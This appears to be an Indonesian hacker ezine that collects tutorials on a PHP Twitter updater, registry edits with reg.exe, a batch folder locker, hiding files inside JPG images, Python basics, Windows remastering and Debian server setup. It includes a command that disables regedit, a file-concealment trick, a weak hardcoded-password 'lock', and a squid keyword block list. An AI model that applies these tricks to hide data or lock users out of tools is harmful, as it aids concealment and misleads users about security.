• CURLOPT_RETURNTRANSFER : Ini sangat penting untuk kita set menjadi '1' karena akan
mengembalikan transfer menjadi string. Dimana string tersebut akan memberitahu kita apakan status kita
telah berhasil terupdate ataukah tidak
• CURLOPT_USERPWD : opsi ini untuk otentikasi. Ini secara sederhana menggunakan username
dan password twitter kita dalam format username:password
Pada bagian bawahnya kita mengekusi transfer dengan curl_exec() dan mengambil HTTP_CODE yang
dikembalikan menggunakan curl_getinfo(CURLINFO_HTTP_CODE). HTTP_CODE ini memberitahu kita
jika status update kita sudah komplit atau kah belum. Kode '200' berarti berhasil dan update telah dilakukan.
Jika kita mendapatkan kode '200' dari Twitter, kita kirim query ke database kita dimana baris terakhir
pesan kita telah terupdate, dan akhirnya kita kembalikan nilainya menjadi TRUE, jika 200 tidak ada, kita
kembalikan nilainya menjadi FALSE.
Devilzc0de Ezine #1
Dalam akhir twitter_model ini, kita akan membuat metode terakhir yang mana, kita akan mendapatkan
pesan terakhir yang kita kirim. Kita perlu membuat metode ini karena kita akan menampilkan pesan yang
paling sering dibuat dalam satu view.
db->select('last_message');
$last_message = $this->db->get_where($this->accounts_table, array('active' => '1'))->row()-
>last_message;
return htmlspecialchars($last_message);
}
?>
Metode ini sangatlah simple. Metode tersebut memilih baris pesan terakhir dari akun yang aktif dan
mengembalikan dan merubahnya dengan htmlspecialchar menjadi entiti HTML.
Sekarang twitter_model.php kita akan terlihat seperti dibawah ini :
db->get_where($this->accounts_table, array('active' => '1'))->row();
}
// update twitter status and last message on success
function update_status($username, $password, $message)
{
$ch = curl_init($this->update_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'status='.urlencode($message));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERPWD, $username . ':' . $password);
Devilzc0de Ezine #1
curl_exec($ch);
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// if we were successfull we need to update our last_message
if ($httpcode == '200')
{
$this->db->where('active', '1');
$this->db->update($this->accounts_table, array('last_message' => $message));
return TRUE;
}
else
{
return FALSE;
}
}
// get the last_message, by row active = 1
function getLastMessage()
{
$this->db->select('last_message');
$last_message = $this->db->get_where($this->accounts_table, array('active' => '1'))->row()-
>last_message;
return htmlspecialchars($last_message);
}
?>
Devilzc0de Ezine #1
Disk Operating System (disingkat DOS) adalah keluarga sistem operasi yang digunakan di komputer
pribadi.( http://id.wikipedia.org/wiki/DOS ) Salah satu kegunaan Dos adalah dapat menangain registry
system Windows,
Yo,kita Buktikan.
Sedikit Penjelasan ya
Regedit.exe adalah sebuah tool yang diciptakan untuk mengakses registry dengan berbasis windows.
Reg.exe adalah sebuah tool yang diciptakan untuk mengakses registry dengan berbasis DOS (console).
Cara mengaksesnya adalah?
1. Masuklah ke Console Dos ( Buka Run-> ketik cmd )
Mengakses Registry dar DOS Promp
Devilzc0de Ezine #1
2. Ketik Perintah Reg.
Maka akan ditampilkan beberapa opsi Operation yang bisa Anda gunakan untuk
mengakses registry Windows, seperti: QUERY, ADD, DELETE, COPY, SAVE, LOAD,
UNLOAD, RESTORE,COMPARE, EXPORT, IMPORT.
3. Ketik reg add /?
Maka akan ditampilkan paremeter-parameter yang dapat dimasukkan kedalam
perintah ADD.
Devilzc0de Ezine #1
Dengan pengantar singkat ini, Anda sudah bisa mengakses registry dalam DOS
(console).
Rootkey:
HKCR = HKEY_CLASSES_ROOT
HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKU = HKEY_USERS
HKCC = HKEY_CURRENT_CONFIG
Data Type:
REG_SZ = String Value
REG_MULTI_SZ = Multi-String Value
REG_DWORD = DWORD Value
REG_BINARY = Binary Value
REG_NONE = No Value
Devilzc0de Ezine #1
Contoh :
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t
reg_dword /d 1 /f
Perintah tersebut akan men-disable regedit yang berbasis Windows.
Sedangkan untuk meng-enable regedit adalah dengan perintah berikut ini :
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t
reg_dword /d 0 /f
Atau
reg delete “HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System” /v
DisableRegistryTools
Demikian juga untuk perintah-perintah yang lain.
Teknik ini sangat ampuh digunakan untuk menangani berbagai macam virus yang
sempat membuat Anda kesal dengan polah tingkahnya. Blok sana, blok sini...
Hati-hati...!! bisa jadi virus mengubah fle reg.exe ini menjadi pemicu virus tersebut.
Saran saya: simpanlah fle reg.exe ini didalam media penyimpan yang aman, seperti
CD, Flash Disk, dll. dan jauhkan dari jangkauan virus. Suatu saat Anda akan
Membutuhkannya.
Writer : misterfribo ( misterfribo@indonesianhacker.org )
Devilzc0de Ezine #1
Yuhhuu..
oke kali ini ane coba berbagi tips kepada ente sekalian tentang bagaimana membuat folder dengan password
tanpa menggunakan software cuma Notepad aja..kekekekeke
Langsung aja ga perlu basa basi (masalahnya ane juga ga bisa basa basi :) kekekee)
1. Buka Notepad dan copy paste kode di bawah ini :
cls
@ECHO OFF
title el_nino
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST el_nino goto MDLOCKER
:CONFIRM
echo Apakah ente ingin Mengunci Folder el_nino Tersebut ? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Ketik Y atau N.
goto CONFIRM
:LOCK
ren el_nino "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo el_nino Terkunci
goto End
:UNLOCK
echo Masukkan Password untuk membuka Folder
set/p "pass=>"
if NOT %pass%== 1234 goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" el_nino
echo el_nino sudah di buka
goto End
:FAIL
echo Password salah
goto end
:MDLOCKER
md el_nino
echo el_nino Sukses di buat
goto End
:End
Membuat Folder dengan Password
Devilzc0de Ezine #1
2. Ente dapat mengganti tulisan “1234” dengan password yang ente mau.
3. Save As File tersebut dengan Nama terserah ente yang penting bereksistensi .bat
Misalnya di sini ane buat siganteng.bat
4. Klik file siganteng.bat ( Dia akan membuat Folder pribadi dengan nama “el_nino” )
5. Klik kembali file siganteng.bat dan masukkan “y” untuk mengunci folder tersebut.
6. Untuk membuka nya ente bisa mengklik file siganteng.bat kembali dan masukkan password ente.
Semoga Bermanfaat..
Devilzc0de Ezine #1
Hoo..ho..
Di bagian yang kedua ini ane mencoba membagikan sedikit tips bagi ente, bagiamna cara menyembunyikan
file ke dalam sebuah file gambar.
Sebelumnya pastikan bahwa komputer ente telah terinstall WinRar.
Langsung aja nyook :)
Langkah 1 :
Kumpulkan file-file yang ingin di sembunyikan dan compress jadi satu dengan menggunakan Winrar.
Misalkan di sini ane beri nama elninofile.rar :)
Menyembunyikan File ke dalam Gambar
Devilzc0de Ezine #1
Langkah 2 :
Siapkan sebuah file gambar (.jpg).
Misalkan lagi di sini ane beri nama ganteng.jpg :)
Devilzc0de Ezine #1
Langkah 3 :
Letakkan kedua file tersebut ( File ganteng.jpg dan elninofile.rar ) dalam sebuah directory yang sama.
misalkan di sini ane taruh di Drive C (misalkan molo..kekekekek) :
Devilzc0de Ezine #1
Langkah 4 :
Buka Command Prompt dan ketikkan :
c:\>copy /b ganteng.jpg+elninofile.rar el_nino.jpg
Langkah 5 :
Jreng..Jreng Setelah itu akan tercipta sebuah file baru dengan nama el_nino.jpg.
Coba ente buka file el_nino.jpg.
Devilzc0de Ezine #1
Sekilas tidak akan ada bedanya dengan file ganteng.jpg kecuali ukuran filenya yang bertambah besar.
ente tetap bisa membuka file tersebut dengan Picture Editor atau Image Viewer lainnya.
Tidak ada tanda-tanda bahwa sebenarnya ada sebuah file didalamnya..kekekekeke :)
Langkah 6 :
Bagaimana cara membukanya :( ?
Klik kanan pada file el_nino.jpg lalu pilihlah
[Open With] –> [Choose Program..]. Pilihlah WinRar lalu klik [OK]. :)
ente akan bisa melihat file dan bisa mengextract seperti biasanya.
Semoga Bermanfaat :)
Thank’s to :
petimati | whitehat | kiddies | xtronic | chaer.newbie | wenkhairu | wahyu_devilzc0de | gonzhack | nacko |
ketek | devilz_nonkrong | android2009 | iblismuda | zal__freaks | t3mp3
And All STAFF, Moderator, Admin, Activis, Member Devilzc0de.org
Devilzc0de Ezine #1
Pada kesempatan ini saya ingin berbagi dasar2 Python yg sedang saya pelajari juga, Kita mulai...
Pada OS Windows, ada 2 pilihan program Python yg bisa digunakan :
- Python (command line)
- IDLE (Python GUI)
keduanya mempunyai perbedaan yg utama yaitu :
- Python, bekerja dalam modus teks.
- IDLE, bekerja dalam modus grafis.
Apabila anda sudah menginstall Python ke pc, selama sebelum di rubah menu start dapat langsung klik
menu start - All Program - Python 2.6 - Python (command line) untuk menjalankan program Python dalam
modus teks. Atau klik menu start - All Program - Python 2.6 - IDLE (Python GUI) untuk menjalankan
program IDLE (Python GUI) dalam modus grafis.
Saya menggunakan Python 2.6 jadi contoh diatas sama dengan yg ada di pc saya, tapi perintahnya sama
pada python versi sebelumnya.
Anda dapat memilih atau menentukan program mana yang akan digunakan untuk bekerja dengan
program Python. Masing masing mempunyai kelebihan/keunggulan maupun kekurangan/kelemahan.
Python yang ada dalam modus teks lebih unggul dalam hal kecepatan, sedangkan IDLE memiliki lingkungan
kerja yg lebih lengkap dan terintegrasi. Contohnya, pada IDLE tersedia fasilitas debug dan editor
untuk membuat script.
Gambar Python (command line)
Dasar Menggunakan Python
Devilzc0de Ezine #1
Gambar IDLE (Python GUI) :
2 cara menggunakan Python :
- Penggunaan secara langsung (interaktif),
- Membuat script program yg isinya perintah-perintah Python.
Untuk cara menggunakan yg pertamaxx, baik pada Python maupun IDLE... anda hanya mengetikkan
perintah di depan prompt >>>.
Setelah tekan ENTER, hasilnya dari perintah itu akan langsung tampil dibawahnya...
Devilzc0de Ezine #1
Perhatikan contoh dibawah ini, contoh gambar dibawah ini saya menggunakan IDLE :
Untuk keluar atau mengakhiri menggunakan Python secara langsung , pada Python (command line)
tekan tombol Ctrl + Z, sedangkan pada IDLE tekan Ctrl + D.
Penting :
Sebaiknya, penggunaan Python secara langsung hanya digunakan untuk mencoba instruksi atau
perintah, atau paling tidak untuk melakukan perhitungan sederhana, seperti penjumlahan, pengurangan,
perkalian, dan lain sebagainya.
sementara itu dulu kawan semua... topik ini memang tentang dasar/awal mengenai Python, sekalian
latihan nulis aja neh om...
semoga tulisan saya yg pendek ini bisa bermanfaat... Terima kasih …
Devilzc0de Ezine #1
Assalamu’alaikum…
Adapun manfaat lain dari remastering kali ini adalah proses installasi jadi lebih cepat, yang defaultnya 32
menit bisa kita kurangi menjadi 8-15 menit saja, ya sekitar 8-15 saja untuk melakukan instalasi Windows
yang sudah kita remastering ini. Selain itu kita juga bisa membuat unattended installation, yaitu kita bisa
menanamkan serial number installasi, konfigurasi waktu/timezone, user, networking dan lain sebagainya
pada windows yang akan kita remastering, sehingga ketika kita melakukan installasi menggunakan windows
remastering ini, kita hanya perlu menentukan partisinya dan setelah itu kita bisa meninggalkannya
sampai selesai tanpa perlu memasukkan serial number dan konfigurasi2 lainnya.
Adapun yang kita perlukan untuk remastering windows adalah :
1. Source Windows ataupun CD Installer Windows
2. Installasi terlebih dahulu .Net Framework, pada simulasi kali ini saya menggunakan .Net Framework
2.0 x86, bagi mahasiswa STT Telkom bisa mendownloadnya di iefile. atau Installernya bisa
d-download di sini
3. Setelah .Net Framework terinstall, maka kita harus menginstall nLite, kebetulan pada simulasi ini
saya menggunakan nLite versi 1.3.5. nLite ini adalah aplikasi yang berfungsi untuk me-remaster windows.
Installernya ada di sini
Nah setelah semua syarat terpenuhi, sekarang kita akan melakukan proses remastering windows tersebut.
Langkah2nya adalah :
1. Buka/jalankan Aplikasi nLite tersebut. Pada simulasi kali ini, saya memilih Indonesia sebagai
bahasanya. Kemudian klik button “Lanjut”.
Tutorial Remastering Windows
Devilzc0de Ezine #1
2. Klik Button “Browse” untuk menentukan lokasi dimana master windows yang akan kita remaster-kan.
3. Setelah itu akan terlihat apa nama produk, versi, bahasa dan ukuran dari windows yang akan kita
remaster-kan. Setelah itu klik button “Lanjut”
4. Setelah itu akan keluar tampilan Preset, yang berfungsi menggunakan settingan remastering sebelumnya.
Pada simulasi kali ini, saya asumsikan kita belum pernah melakukan proses remastering sebelumnya,
jadi tidak ada settingan yang tersimpan. Sehingga jika muncul tampilan seperti di bawah ini, langsung
aja klik Button “Lanjut”
Devilzc0de Ezine #1
5. Setelah itu akan keluar tampilan seperti di bawah ini, yaitu opsi apakah ingin melakukan integrasi,
menghapus komponen, mengatur konfigurasi setup, dan opsi membuat bootable ISO. Pada simulasi kali
ini, saya memilih semua opsi, KECUALI integrasi. Karena fokus kita kali ini adalah bukan
menambahkan/menyisipkan, melainkan melakukan penghapusan komponen dan melakukan konfigurasi.
Setelah opsi dipilih, klik button “Lanjut”
6. Akan keluar tampilan seperti di bawah ini, untuk tampilan window kompatibilitas, kita bisa mengabaikannya
dengan mengklik tombol “Batal” pada window kompatibilitas. Adapun maksud dari window kompatibilitas
ini bisa kita lihat dari capture gambar di bawah ini.
Devilzc0de Ezine #1
7. Selanjutnya kita akan dihadapkan dengan window seperti di bawah ini. Window ini berisi komponenkomponen
yang akan kita buang. Dengan men-Checklist opsi yang ada, berarti kita akan men-drop
komponen-komponen tersebut. Penting untuk diingat, bahwa penjelasan dari masing-masing komponen
ada tertera di kolom paling kanan ketika kursor kita berada pada opsi yang kita pilih dan KOMPONEN YG
AKAN KITA BUANG RELATIF ANTAR TIAP ORANG, TERGANTUNG DENGAN KEBUTUHAN
MASING-MASING. Sebagai Contoh saya akan men-drop wordpad pada opsi Aplikasi. Karena menurut
saya fungsi wordpad sudah bisa digantikan dengan notepad, ditambah lagi saya memang berniat menginstall
Office nantinya, sehingga wordpad saya rasa tidak perlu. Kalo Anda ingin mengikuti langkah2
saya dalam men-drop komponen-komponen apa saja, yah silahkan…
Berikut ini komponen-komponen yang saya hapus (ditandai dengan opsi yang di-checklist) :
Untuk Opsi Aplikasi :
Devilzc0de Ezine #1
Untuk Opsi Bahasa (untuk opsi bahasa ini saya men-checklist semuanya):
Untuk Opsi Drivers :
Untuk Opsi Dukungan Hardware, saya tidak men-checklist satu komponen pun.
Untuk Opsi Jaringan, saya HANYA men-checklist komponen Bimbingan Koneksi Internet, MSN Explorer,
Piranti Komunikasi, Windows Messenger :
Devilzc0de Ezine #1
Untuk Opsi Keyboard, saya men-checklist semuanya KECUALI United Kingdom Keyboard dan United
States-International Keyboard.
Untuk Opsi Layanan, saya men-checklist komponen-komponen berikut, yaitu : Layanan fax, Layanan
Indexing, Logon Sekunder, Otomatis Memutakhirkan, Pelaporan Kesalahan, Remote Registry, Waktu
Windows.
Untuk opsi Multimedia :
Devilzc0de Ezine #1
Untuk Opsi Sistem Operasi, perlu diperhatikan bahwa komponen Out Of Box Experience (OOBE), sebaiknya
jangan di check list, Terkecuali jika windows yang akan kita remastering adalah versi corporate windows.:
Untuk Opsi Direktori (saya men-checklist semua komponen):
Devilzc0de Ezine #1
8. Selesai sudah tahap pembuangan/penghapusan komponen. Klik Tombol Lanjut.Kita akan dihadapkan
dengan opsi Unattended, yang baerarti di sini kita bisa menanamkan serial number, dan konfigurasikonfigrasi
lainnya(seperti user, networking, timezone, Desktop, dan lain-lain) sehingga windows hasil
remastering ini nantinya tidak meminta serial number dan konfigurasi-konfigurasi lainnya ketika diinstall,
karena semuanya sudah kita embedded-kan.
9. Setelah melakukan konfigurasi unattended sesuai dengan keinginan kita, lalu klik button “Lanjut” sehingga
akan keluar tampilan seperti di bawah ini. Lakukanlah pemilihan opsi dan settingan sesuai dengan
kebutuhan Anda.
Devilzc0de Ezine #1
10. Klik button “Lanjut” , kemudian akan keluar tampilan seperti di bawah ini, yaitu opsi Tweaks yang
berfungsi untuk melakukan penanaman settingan registry
dan aneka service yang akan distartup, sebagai contoh kita mensetting agar key CTRL+ALT+DEL tidak
bisa dieksekusi sewaktu proses masuk dan settingan lainnya.
11. Setelah Opsi Tweaks ini selesai kita konfigurasi, klik-lah button “Lanjut” untuk memproses windows
yang kita remastering-kan tadi menjadi files installasi. Ilustrasinya kurang lebih seperti gambar di bawah
ini :
Akan keluar tampilan seperti di bawah ini. Klik-lah button “Yes” untuk memulai pemrosesan :
Devilzc0de Ezine #1
Setelah button “Yes” di-klik, maka tampilannya kurang lebih seperti di bawah ini yang menandakan
proses membuat ke file installasi :
Setelah pemrosesan selesai, dimana ilustrasinya kurang lebih seperti gambar di bawah ini. Dapat kita
amati bahwa file installer windows XP SP2 hasil remastering kita sekarang HANYA berukuran 170,91 MB.
Coba bayangin yang mana ukuran
file installer aslinya adalah 574,20 MB berkurang secara drastis menjadi 170,91 MB. Kecil sekali bukan,
yang mana berarti kita telah membuang 403,29 MB komponen dan service yang tidak kita perlukan yang
hanya menghabisin space dan memory PC kita.
Devilzc0de Ezine #1
12. Klik-lah button “Lanjut”. Telah selesailah tahap pemrosesan ke bentuk files installasi. Sekarang kita
akan membuat image dari files installer hasil remastering tadi. Yup, kita akan membuat ISO bootable dari
installer hasil remastering tadi. Lakukanlah perubahan seperlunya, seperti Label dan lain-lain. Kemudian
klik-lah button Buat ISO untuk memulai proses pembuatan ISO file installer windows SP2 hasil remastering
yang telah kita lakukan. Perhatikan gambar di bawah ini:
Selesai sudah proses remastering windows yang kita lakukan. Sekarang kita sudah memiliki installer
Windows XP SP2 yang hanya berukuran mini, yaitu 170,91 MB. Ditambah lagi dengan keunggulankeunggulan
yang dimilikinya, seperti proses installasi hanya 8-15 menit saja, serta unattended installation
yang menyenangkan. Thanx alot nLite, akhirnya PC-PC tua ini sudah bisa dikelola dengan baik dan
muantabz.
Mudah-mudahan , apa yang menjadi tulisan saya ini, dapat bermanfaat bagi semua..Terima kasih atas
perhatiannya..
Wassalamu’alaikum…..
Devilzc0de Ezine #1
A. SETTING ROUTER
ROUTER adalah suatu alat pada dunia komputer yang berguna untuk membelokkan data dari
suatu sistem jaringan ke sistem yang lain. Logikanya sebuah sistem jaringan tidak dapat berpindah ke
sistem yang lain. Exp Sis A. Menggunakan IP 192.168.1.1 dan Sis B. Menggunakan IP 192.168.2.1 Maka
Kompi yang menggunakan Sis A tidak dapat melakukan komunikasi dengan Sis B tanpa Router.
Di sini saya akan mensetting router pada debian 4, menggunakan 2 lancard dengan cara sebagai
berikut :
#nano /etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.1.2
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
auto eth1
iface eth1 inet static
address 10.10.10.1
netmask 255.255.255.0
network 10.10.10.0
broadcast 10.10.10.255
#nano /etc/resolv.conf
nameserver 202.134.0.155
nameserver 203.130.196.5
#nano /etc/rc.local
iptables -t nat -A POSTROUTING -j MASQUERADE
#nano /etc/sysctl.conf
net.ipv4.ip_forward = 1
B. SETTING DNS
Pengertian dan Penjelasan DNS (Domain Name Server)
DNS adalah sebuah aplikasi services di Internet yang menerjemahkan sebuah domain name ke IP
address. Sebagai contoh, www untuk penggunaan di Internet, lalu diketikan nama domain, misalnya:
yahoo.com maka akan di petakan ke sebuah IP mis 202.68.0.134. Jadi DNS dapat di analogikan pada
pemakaian buku telepon, dimana orang yang kita kenal berdasarkan nama untuk menghubunginya kita
harus memutar nomor telepon di pesawat telepon. Sama persis, host computer mengirimkan queries
berupa nama komputer dan domain name server ke DNS, lalu oleh DNS dipetakan ke IP address.
Membuat Server Sederhana dengan Debian 4
Devilzc0de Ezine #1
Domain Name System ( DNS )
Domain Name System (DNS) adalah distribute database system yang digunakan untuk pencarian nama
komputer (name resolution) di jaringan yang mengunakan TCP/IP (Transmission Control
Protocol/Internet Protocol). DNS biasa digunakan pada aplikasi yang terhubung ke Internet seperti web
browser atau e-mail, dimana DNS membantu memetakan host name sebuah komputer ke IP address.
Selain digunakan di Internet, DNS juga dapat di implementasikan ke private network atau intranet dimana
DNS memiliki keunggulan seperti:
1. Mudah, DNS sangat mudah karena user tidak lagi direpotkan untuk mengingat IP address sebuah
komputer cukup host name (nama Komputer).
2. Konsisten, IP address sebuah komputer bisa berubah tapi host name tidak berubah.
3. Simple, user hanya menggunakan satu nama domain untuk mencari baik di Internet maupun di
Intranet.
Pada bagian ini saya akan meneruskan dari setting router tadi ke setting dns, berikut caranya:
Installasi paket terlebih dahulu:
#apt-get install bind
Kemudian kita meng-edit file named.conf:
#nano /etc/bind/named.conf
zone “10.10.10.in-addr.arpa” {
type master ;
file “db.10;
};
zone “maswahyu.sch.id” {
type master ;
file “db.maswahyu;
};
Membuat db pada directory bind :
#cd /etc/bind/
#touch db.maswahyu
#nano db.maswahyu
Ini merupakan file domain ke ip
$TTL 86400
@ IN SOA maswahyu.maswahyu.sch.id root.localhost (
4 ; serial
1w ; refresh
3h ; retry
3w ; expire
1w ; ttl
)
IN NS 10.10.10.1.
Devilzc0de Ezine #1
maswahyu IN A 10.10.10.1
www IN CNAME maswahyu
#cp db.maswahyu db.10
#touch db.10
#nano db.10
Ini merupakan file ip ke domain
$TTL 86400
@ IN SOA maswahyu.maswahyu.sch.id root.localhost (
4 ; serial
1w ; refresh
3h ; retry
3w ; expire
1w ; ttl
)
@ IN NS 10.10.10.1.
1 IN PTR maswahyu.sch.id.
# nano /etc/resolv.conf
nameserver 10.10.10.1
nameserver 202.134.0.155
nameserver 203.130.196
#/etc/init.d/bind restart
#/etc/init.d/bind start
C. SETTING HTTP SERVER
Pengertian HTTP SERVER
HTTP (Hypertext Transfer Protocol) suatu protokol yang digunakan oleh WWW (World Wide Web). HTTP
mendefinisikan bagaimana suatu pesan bisa diformat dan dikirimkan dari server ke client. HTTP juga
mengatur aksi-aksi apa saja yang harus dilakukan oleh web server dan juga web browser sebagai respon
atas perintah-perintah yang ada pada protokol HTTP ini.
Contohnya bila kita mengetikkan suatu alamat atau URL pada internet browser maka web browser akan
mengirimkan perintah HTTP ke web server. Web server kemudian akan menerima perintah ini dan
melakukan aktivitas sesuai dengan perintah yang diminta oleh web browser. Hasil aktivitas tadi akan
dikirimkan kembali ke web browser untuk ditampilkan kepada kita.
Sementara HTTPS (Securre HTTP) merupakan bentuk protokol yang aman karena segala perintah dan
data yang lewat protokol ini akan diacak dengan berbagai format sehingga sulit untuk dibajak isinya
maupun dilihat perintah-perintah yang dieksekusi.
Devilzc0de Ezine #1
Pada bagian ini saya akan mensetting http server pada debian 4.
Terlebih dahulu kita menginstall paket-paket yang di butuhkan, disini saya akan menginstall paket yang di
butuhkan dari membuat http server sampai web mail server.
Sebelum mengintall paket, disarankan untuk menghapus exim4 pada aptitude, karena dapat menghalangi
kita dalam mensetting mail server. Berikut cara settingannya:
#apt-get install lynx, apache, nmap, php4-imap,postfix, squirrelmail, courier-imap, courier-pop.
#cd /var/www/
#nano index.html
maswahyu2009
“selamat datang di maswahyu2009”
#touch index.php
#nano index.php
#nano /etc/apache/httpd.conf
ServerAdmin admin@maswahyu.sch.id
ServerName www.maswahyu.sch.id
# Include /etc/apache/conf.d
#/etc/init.d/apache restart
#/etc/init.d/apache start
#lynx www.maswahyu.sch.id
#lynx www.maswahyu.sch.id/index.php
E. SETTING MAIL SERVER
#nano /etc/postfix/main.cf
mydestination = maswahyu.maswahyu.sch.id, maswahyu.maswahyu.sch.id, localhost,
maswahyu.sch.id, localhost
mynetwork = 122.0.0.0/8 10.10.10.0/24
#mail_command = procmail -a “$EXTENSION”
inet_interfaces = all
name_mailbox = Maildir/
mydomain = maswahyu.sch.id
#cd /etc/skel
#maildirmake Maildir/
#cd Maildir/
#adduser admin
password admin
Devilzc0de Ezine #1
F. SETTING WEBMAIL SERVER
#nano /etc/apache/httpd.conf
Alias /webmail/ /usr/share/squirrelmail/
Options MultiViews
AllowOverride None
Order allow,deny
Allow from all
#/etc/squirrelmail/conf.pl
pilih 2 untuk server setting
pilih 1 untuk domain
sisikan maswahyu.sch.id
pilih a untuk update imap setting
pilih 8 untuk server software
isikan : courier
pilih q kemudian y
#/etc/init.d/apache restart
#lynx www.maswahyu.sch.id/webmail/
D. SETTING PROXY
Pengertian proxy
Proxy server adalah program yang menerima permintaan (request)dari klien, seperti browser web atau ftp
klien,dan kemudian meneruskan permintaan tersebut ke server internet yang dituju.
Kelebihan menggunakan Proxy server
Kelebihan Operating System yang menggunakan proxy adalah data yang diminta dari klien akan diarahkan
ke server proxy kemudian dilanjutkan ke server internet.Pada saat data dari server datang,data tersebut
akan diarahkan oleh server internet ke server proxy kemudian server proxy meneruskan data tsb ke
klien yg memintanya.
Disamping memberikan data ke klien,server proxy juga menyimpan salinan data itu sebagai webcache di
hardisk.Apabila ada user lain yg meminta data yg sama,maka server proxy akan mengambil data tersebut
dari hardisknya tanpa harus melakukan koneksi ke server internetyg menyediakan data tsb. Kalau
permintaan yg sama dilakukan oleh user berkali-kali tentu akan mempengaruhi kecepatan akses internet
secara signifikan.
Fungsi Proxy Juga Sebagai Caching
Dengan menyimpan halaman tersebut pada server lokal, proxy dapat menghilangkan akses Internet yang
berlebih untuk mengambil kembali halaman yang sama berulang-ulang. Jadi, proxy mula-mula sangat
efektif untuk web caching. Namun, Internet sekarang sudah cepat, halaman web bersifat dinamis dan
kepentingan user di dalam satu organisasi hanya terdiri dari ratusan halaman web. Faktor-faktor ini
menyebabkan caching proxy menjadi tidak efektif, kecuali pada organisasi yang sangat besar atau ISP.
Meskipun semua browser standar mempunyai dukungan terhadap proxy server, sejak 1996 jarang digunakan.
Pada bagian ini saya akan mensetting proxy pada debian 4, dengan perintah dan script sebagai berikut:
Devilzc0de Ezine #1
Terlebih dahulu kita installasi paket yang di butuhkan:
#apt-get install squid
#nano /etc/squid/squid.conf
http_port 8080 transparent
cache_mem 64 MB
cache_swap_low 90
cache_swap_hight 95
maximum_object_size 4096 kb
minimum_object_size 0 kb
maximum_object_seze_in_memory 8 kb
cache_mgr admin@maswahyu.sch.id
visible_hostname proxy.maswahyu.sch.id
cache_effective_user proxy
cache_effective_group proxy
cache_dir auf /var/spool/squid 100 16 256
cache_dir diskd /cache (colum hdd cache ) 10 256 Q1=72 Q2=64
acl filter1 dstdomain “/etc/squid/domain”
acl filter2 url_regex -i “/etc/squid/kata”
acl client src 10.10.10.0/24
http_access deny filter1
http_access deny filter2
http_access allow client
#touch /etc/squid/domain
#nano /etc/squid/domain
www.youporn.com
www.miyabi.com
www.porn.com
www.proxywebsite.org
www.proxy4free.com
#touch /etc/squid/kata
#nano /etc/squid/kata
sex
sexy
bugil
porno
porn
nude
maria
ozawa
games
gamer
wanita
mandi
cara
hacker
Devilzc0de Ezine #1
hacking
crack
cracker
#nano /etc/rc.local
iptables -t nat -F
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp -m tcp –dport 80 -i eth1 -s 10.10.10/24 -j DNAT --to-destination
10.10.10.1:8080
#chown -R proxy.proxy /cache
#squid –z ( membuat swap untuk proxy )
#squid –D ( menrunningkan proxy )
#/etc/init.d/squid restart
#nmap localhost ( melihat apakah proxy kita sudah jadi )
G.SETTING SAMBA
Pengertian samba :
Samba merupakan service yang berfungsi untuk filesharing dan printer Linux pada client Windows.
Pada saat instalasi debian Etch 4.0, paket samba sudah ada di opsi awal pemilihan paket yang
bernama filesharing. Namun, perlu diketahui bahwa konfigurasi awal dari samba tersebut dirasa kurang
sempurna walaupun secara security sudah baik.
Sebelum anda hendak mensharing suatu folder, maka pastikan dulu file-file tersebut memiliki hak yang
bisa diakses oleh siapa saja. Gunakan perintah "ls -al" pada suatu folder melalui konsole. Dari sana akan
terlihat file-file tersebut memiliki hak untuk siapa saja. Kasusnya, anda pasti sebal bahwa file yang telah
anda sharing ternyata tidak dapat di-edit. Sedangkan pada konfigurasi samba-nya, status writeable aktif.
Ingat, writeable disini tidak asal-asalan bebas menulis tanpa memandang siapa yang mengedit. Writeable
akan aktif bila disesuaikan dengan hak user yang memang diijinkan untuk mengedit file tersebut.
Bila user lain tidak memiliki hak yang terdapat pada file tersebut, maka jangan harap bisa mengeditnya.
Berikut ini cara mensetting samba :
# apt-get install samba
# nano /etc/samba/smb.conf
Devilzc0de Ezine #1
Ini merupakan contoh file smb.conf
#====================Global Settings====================
[global]
workgroup = wahyu ----> nama workgroup yang muncul nantinya
server string = %h server
dns proxy = no
interfaces = 127.0.0.0/8 eth0 ---> eth0 merupakan LAN card,bisa diganti
menurut medianya
bind interfaces only = true
log file = /var/log/samba/log.%m
max log size = 1000
syslog = 0
panic action = /usr/share/samba/panic-action %d
###### Authentication #######
security = user ---> hanya untuk user yang terdaftar.
encrypt passwords = true
passdb backend = tdbsam
obey pam restrictions = yes
passwd program = /usr/bin/passwd %u
passwd chat = *EntersnewsUNIXspassword:* %nn *RetypesnewsUNIXspassword:* %nn *passwordsupdatedssuccessfully*
.
#====================ShareDefinitions===================
[master] ---> menentukan nama filesharing
path = /media/repo/ ---> path tempat folder dishare
guest ol = no ---> akses guest ditolak, untuk menghidupkan ganti dengan yes
browseable = yes ---> bisa dibrowsing
read-only = no ---> read-only memiliki opsi yes atau no
valid-users = wahyu, root ----> list user yang memiliki akses
writeable = yes ---> bisa ditulis.
create mask = 700 ----> hak membuat file
directory mask = 700 ----> hak membuat direktori
[music]
path = /media/
guest ol = yes
browsable = yes
read-only = no
writeable = yes
valid users = wahyu,root
Devilzc0de Ezine #1
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
